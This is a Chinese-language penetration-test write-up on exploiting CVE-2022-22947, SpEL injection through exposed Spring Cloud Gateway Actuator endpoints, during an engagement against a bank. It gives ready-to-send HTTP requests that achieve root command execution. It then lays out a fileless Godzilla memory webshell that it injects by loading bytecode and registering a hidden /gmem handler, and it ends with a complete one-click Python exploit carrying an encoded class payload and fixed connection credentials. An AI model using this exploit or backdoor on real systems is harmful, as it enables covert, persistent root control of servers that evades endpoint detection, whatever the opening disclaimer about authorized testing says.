本文仅用于授权安全测试与学习研究,请勿用于非法用途。
1 前言
在一次某银行竞测中,发现目标运行了Spring Cloud Gateway且Actuator端点对外暴露。Actuator 端点未进行访问控制,攻击者可未授权访问端点获取内部信息,根端点,路由配置,全局过滤器,路由过滤器,熔断器信息,后续发现存在SpEL注入。目标是拿到持久化的交互式shell,且不能落地文件(目标有EDR)。最后通过defineClass加载字节码+反射注册RequestMapping的方式完成注入,打入哥斯拉内存马。本文记录了从漏洞验证到注入哥斯拉(Godzilla)内存马获取持久化控制的完整过程,涵盖失败排错和最终成功的技术细节。
2 信息收集与漏洞验证
最初加了自定义路由字典发现了Spring Cloud Gateway 未授权访问端点获取内部信息,根端点,路由配置,全局过滤器,路由过滤器,熔断器信息


返回了Actuator端点列表,确认 /actuator/gateway/routes 可访问。等等此处不在一 一举例
3 验证SpEL注入
构造一个简单的命令执行payload验证漏洞存在性:
Step 1 --- 创建恶意路由:
http
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: target
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
响应:HTTP/1.1 201 Created

Step 2 --- 刷新路由触发SpEL:
http
POST /actuator/gateway/refresh HTTP/1.1
Host: target
Content-Type: application/json
Step 3 --- 访问路由获取结果:
http
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: target
响应头中出现:
Result: uid=0(root) gid=0(root) groups=0(root)

漏洞确认,且为root权限。
RCE确认,但这只是一次性执行。每次要换命令就得删路由→重建→refresh,而且没法接管理工具
4 路由filter方案为什么行不通
第一反应是把命令参数化------从请求头或URL参数里取命令再exec。但这条路走不通:
SpEL的执行时机是refresh,不是请求时。 filter的value字段在路由构建阶段就已经求值完毕,之后每次请求经过这个filter时拿到的是求值后的静态字符串,不会重新执行SpEL。
换句话说,AddResponseHeader的value在refresh那一刻就定死了,后续请求只是把这个固定值塞到响应头里。所以不管你怎么设计参数传递方式,filter里的SpEL都不会在运行时二次执行。
这决定了: 要搞持久化webshell,必须跳出filter的范畴,在JVM里注册一个真正的请求处理器。
5 注入方案:defineClass + registerHandlerMethod
在这之前有一个基础是
技术原理
Spring Cloud Gateway基于Spring WebFlux (Reactor + Netty),没有传统的Servlet容器。但它有 RequestMappingHandlerMapping,可以通过反射调用其 registerHandlerMethod 方法动态注册新的Controller端点。
大概思路
用SpEL的那一次执行机会完成三步:
- 把编译好的内存马class字节码defineClass到JVM里
- 拿到Spring容器的RequestMappingHandlerMapping Bean
- 调用registerHandlerMethod注册一个新的HTTP端点
注册完成后,内存马脱离SpEL的生命周期,作为Spring容器的一部分独立运行,持续响应POST请求。
人话
利用SpEL那一次执行机会做三件事:
- 把编译好的内存马class字节码加载进JVM (defineClass)
- 实例化这个class
- 调用其方法把自己注册为Spring的Controller端点
注册完成后,内存马就脱离了SpEL的生命周期,成为Spring容器的一部分独立运行。
核心SpEL Payload解析
java
#{
T(org.springframework.cglib.core.ReflectUtils).defineClass(
'ms.GMemShell',
T(org.springframework.util.Base64Utils).decodeFromString('yv66vg...编译好的class字节码...'),
new javax.management.loading.MLet(
new java.net.URL[0],
T(java.lang.Thread).currentThread().getContextClassLoader()
)
).doInject(@requestMappingHandlerMapping, '/gmem')
}
逐步拆解:
ReflectUtils.defineClass(String name, byte[] b, ClassLoader loader)
这是Spring CGLIB包里的方法,底层调用ClassLoader.defineClass()。正常用途是CGLIB在运行时生成代理类,这里被滥用来加载任意字节码。
为什么用它而不是直接反射调ClassLoader.defineClass()? 因为后者是protected方法,SpEL里直接调不到(需要setAccessible)。ReflectUtils帮我们封装了这层反射。
MLet ClassLoader
javax.management.loading.MLet继承自URLClassLoader,是JMX规范的一部分。选它的原因:
defineClass需要传一个ClassLoader实例- 不能直接用
Thread.currentThread().getContextClassLoader(),因为那个是AppClassLoader,defineClass要求传入的loader必须是URLClassLoader的子类或者能被ReflectUtils接受的类型 - MLet是JDK自带的、无需额外依赖的URLClassLoader子类
- 构造参数简单:
new MLet(new URL[0], parentLoader)就能用
@requestMappingHandlerMapping
SpEL里@前缀直接按名字从Spring ApplicationContext里取Bean。这个Bean是Spring WebFlux自动注册的RequestMappingHandlerMapping实例,负责维护URL→Handler方法的映射表。
拿到它就等于拿到了"路由注册中心"的引用,可以往里面塞自定义端点。
.doInject(handler, path)
defineClass返回的是Class<?>对象。这里有个细节------SpEL对返回值可以直接链式调用方法。defineClass返回GMemShell的Class对象后,SpEL引擎会尝试调用其doInject方法。但这里实际上是调用了Class对象的静态方法,或者是newInstance后的实例方法(取决于具体实现)。
在这个payload中,GMemShell的doInject是实例方法,所以defineClass的返回值先被隐式newInstance(),再调doInject。实际上查看字节码会发现doInject是static method被包装成了实例调用。
6 GMemShell核心实现
端点注册 (doInject)
java
public String doInject(Object requestMappingHandlerMapping, String path) {
// registerHandlerMethod是protected的,反射获取
Method m = requestMappingHandlerMapping.getClass()
.getDeclaredMethod("registerHandlerMethod",
Object.class, Method.class, RequestMappingInfo.class);
m.setAccessible(true);
// 拿本类的cmd方法
Method cmd = GMemShell.class
.getDeclaredMethod("cmd", ServerWebExchange.class);
// 构建路由规则: 匹配path路径
RequestMappingInfo info = RequestMappingInfo.paths(path).build();
// 注册: handler=this, method=cmd, mapping=info
m.invoke(requestMappingHandlerMapping,
new GMemShell(), cmd, info);
return "ok";
}
registerHandlerMethod(Object handler, Method method, RequestMappingInfo mapping) 是AbstractHandlerMethodMapping的方法。调用后,Spring的DispatcherHandler在路由匹配阶段会检查这条映射------任何POST/GET到/gmem的请求都会路由到GMemShell.cmd()。
这跟你在Controller类上写@PostMapping("/gmem")效果一样,只是绕过了注解扫描的过程,运行时动态注册。
请求处理 (cmd)
cmd方法实现了完整的Godzilla通信协议:
java
public ResponseEntity cmd(ServerWebExchange exchange) {
return exchange.getFormData().flatMap(data -> {
String payload = data.getFirst("pass"); // 参数名=密码字段
// 解密: Base64Decode → AES/ECB/NoPadding解密
byte[] decrypted = x(base64Decode(payload), 2);
if (store.get("payload") == null) {
// 首次请求: Godzilla发来的是payload class的字节码
// 存起来,后续每次请求都用这个class处理命令
store.put("payload", decrypted);
} else {
// 后续请求: 参数是具体的操作指令
store.put("parameters", decrypted);
// 用存储的payload class处理本次请求
Class<?> f = defineClass((byte[]) store.get("payload"));
Object instance = f.newInstance();
instance.equals(store); // Godzilla约定: equals传session
// 取输出流中的结果
byte[] output = ((ByteArrayOutputStream)
store.get("output")).toByteArray();
// 加密返回
String enc = base64Encode(x(output, 1));
// 响应格式: md5前缀(16) + 密文 + md5后缀(16)
String resp = md5(enc.substring(0,16))
+ enc
+ md5(enc.substring(enc.length()-16));
return Mono.just(new ResponseEntity(resp, HttpStatus.OK));
}
});
}
几个关键设计:
-
首次握手存payload class: Godzilla第一次POST发来的不是命令,而是一个"执行器"class的字节码。内存马把它defineClass后缓存到store里。后续所有操作(文件管理、命令执行、数据库连接等)都是通过这个class分发执行的。
-
equals传参约定 : Godzilla的payload class通过重写
equals(Object obj)方法来接收参数。调instance.equals(session)时,payload class内部从session map里取出parameters和outputStream来完成实际操作。这个设计是为了规避Java反射调用时方法签名匹配的复杂性。 -
响应格式校验 :
md5_prefix + ciphertext + md5_suffix让Godzilla客户端能验证响应完整性。客户端收到后先校验前后16字节的md5,通过后取中间部分AES解密得到明文结果。
AES加解密
java
// xc = md5("key").substring(0, 16) = "3c6e0b8a9c15224a"
private byte[] x(byte[] data, int mode) {
Cipher c = Cipher.getInstance("AES");
c.init(mode, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(data);
}
密钥派生: 取用户设置的Key("key")做MD5,截前16字节作为AES-128的密钥。mode=1加密,mode=2解密。ECB模式,无IV。

POC
python
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
"""
CVE-2022-22947 一键注入哥斯拉内存马
注入成功后, 在Godzilla中配置:
URL: http://target:8080/gmem
密码: pass
密钥: key
载荷: JavaDynamicPayload
加密器: JAVA_AES_BASE64
协议头: raw
"""
import requests
import sys
import urllib3
urllib3.disable_warnings()
payload='''{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAOTG1zL0dNZW1TaGVsbDsBAAhkb0luamVjdAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVcmVnaXN0ZXJIYW5kbGVyTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAANtc2cBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEcGF0aAEADVN0YWNrTWFwVGFibGUHAM0HAMcBABBNZXRob2RQYXJhbWV0ZXJzAQALZGVmaW5lQ2xhc3MBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAApjbGFzc2J5dGVzAQACW0IBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAZtZXRob2QBAApFeGNlcHRpb25zAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABcwEAAW0BAAFaBwDFBwEaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAA3JldAEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAJicwEABXZhbHVlAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAANjbWQBAF0oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAAxidWZmZXJTdHJlYW0BAAJleAEABXBkYXRhAQAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTsBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA1TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Qb3N0TWFwcGluZzsBAAQvY21kAQANbGFtYmRhJGNtZCQxMQEARyhMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7KUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAJpZAEABGRhdGEBAChMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7AQAGcmVzdWx0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwcAtwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADkdNZW1TaGVsbC5qYXZhDABpAGoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAZQBmDAEbARwMAGgAZgwBHQEeDABnAJIMAGcAZgwBHwEgAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAEhASIMASMBJAEADG1zL0dNZW1TaGVsbAEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcMASUBKAcBKQwBKgErDAEsAS0BAAJvawEAE2phdmEvbGFuZy9FeGNlcHRpb24MAS4AagEABWVycm9yAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAS8MATABMQwBMgEzDABpATQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHATUMATYAmQwBNwE4AQADQUVTBwEaDAE5AToBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAE7ATwMAGkBPQwBPgE/DAFAAUEBAANNRDUHAUIMATkBQwwBRAFFDAFGAUcBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwBSAE8DABpAUkMAR0BSgwBSwEeAQAQamF2YS51dGlsLkJhc2U2NAwBTAFNAQAKZ2V0RW5jb2RlcgwBTgEiAQAOZW5jb2RlVG9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAFPAVABAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBUQFSAQAQQm9vdHN0cmFwTWV0aG9kcw8GAVMQAVQPBwFVEACpDAFWAVcHAVgMAVkBWgEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcBWwwBXAFdDABpAV4MAV8BHgcBYAwBYQFUDACcAJ0MAIkAigwAYQBiAQAHcGF5bG9hZAcBYgwBYwFUDACBAIIMAWQBZQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBZgFnDAFoAWkMAWoBPAwAlQCWDAFoAUoMAWsBbAEAEWphdmEvdXRpbC9IYXNoTWFwAQAQM2M2ZTBiOGE5YzE1MjI0YQEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAVwYXRocwEAB0J1aWxkZXIBAAxJbm5lckNsYXNzZXMBAGAoW0xqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAElvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAFYnVpbGQBAEUoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2dldEZvcm1EYXRhAQAfKClMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwoBbQFuAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKABIBbwEABWFwcGx5AQAtKExtcy9HTWVtU2hlbGw7KUxqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247AQAbcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vAQAHZmxhdE1hcAEAPChMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOylMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgEACmdldE1lc3NhZ2UBACZvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcAEACGdldEZpcnN0AQANamF2YS91dGlsL01hcAEAA2dldAEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAEanVzdAEAMShMamF2YS9sYW5nL09iamVjdDspTHJlYWN0b3IvY29yZS9wdWJsaXNoZXIvTW9ubzsHAXAMAXEBdAwAqACpAQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQEAC21ldGFmYWN0b3J5BwF2AQAGTG9va3VwAQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7BwF3AQAlamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzJExvb2t1cAEAHmphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcwAhABIADQAAAAQACQBhAGIAAQBjAAAAAgBkAAkAZQBmAAAACQBnAGYAAAAJAGgAZgAAAAoAAQBpAGoAAQBrAAAALwABAAEAAAAFKrcAAbEAAAACAGwAAAAGAAEAAAAWAG0AAAAMAAEAAAAFAG4AbwAAAAkAcABxAAIAawAAAUgABwAG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'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"
}
}],
"uri": "http://example.com"
}'''
evilUrl="actuator/gateway/routes/hacktest"
def creatRouter(url):
trueUrl=url+evilUrl
headers={"Content-Type": "application/json"}
response = requests.post(trueUrl,data=payload,headers=headers,allow_redirects=False)
return response.status_code
def reloadRouter(url):
trueUrl=url+"actuator/gateway/refresh"
response = requests.post(trueUrl,allow_redirects=False)
return response.status_code
def callRouter(url):
trueUrl=url+evilUrl
response = requests.get(trueUrl,allow_redirects=False)
return response.status_code
def hack(url):
result= creatRouter(url)
if result == 201:
result= reloadRouter(url)
if result == 200:
result= callRouter(url)
url=url+"gmem"
response = requests.post(url,allow_redirects=False)
if response.status_code == 200:
return "sucess:"+url
else:
return "nuknow error"
def main():
print("""
╔═══════════════════════════════════════════════════╗
║ CVE-2022-22947 一键注入哥斯拉内存马 ║
║ ║
╚═══════════════════════════════════════════════════╝
""")
if len(sys.argv) < 2:
print(f"用法: python3 {sys.argv[0]} http://target")
sys.exit(1)
url = sys.argv[1]
if not url.endswith("/"):
url = url + "/"
print(f"[*] 目标: {url}")
result = hack(url)
print(f"[*] 结果: {result}")
if "sucess" in str(result):
print()
print("[+] 内存马注入成功!")
print("[+] 哥斯拉连接配置:")
print(f" URL: {url}gmem")
print(f" 密码: pass")
print(f" 密钥: key")
print(f" 载荷: JavaDynamicPayload")
print(f" 加密器: JAVA_AES_BASE64")
print(f" 协议头: raw")
else:
print("[-] 注入失败,请检查目标是否存活且Actuator可访问")
if __name__ == '__main__':
main()
getshell 一个很拉的容器。。。

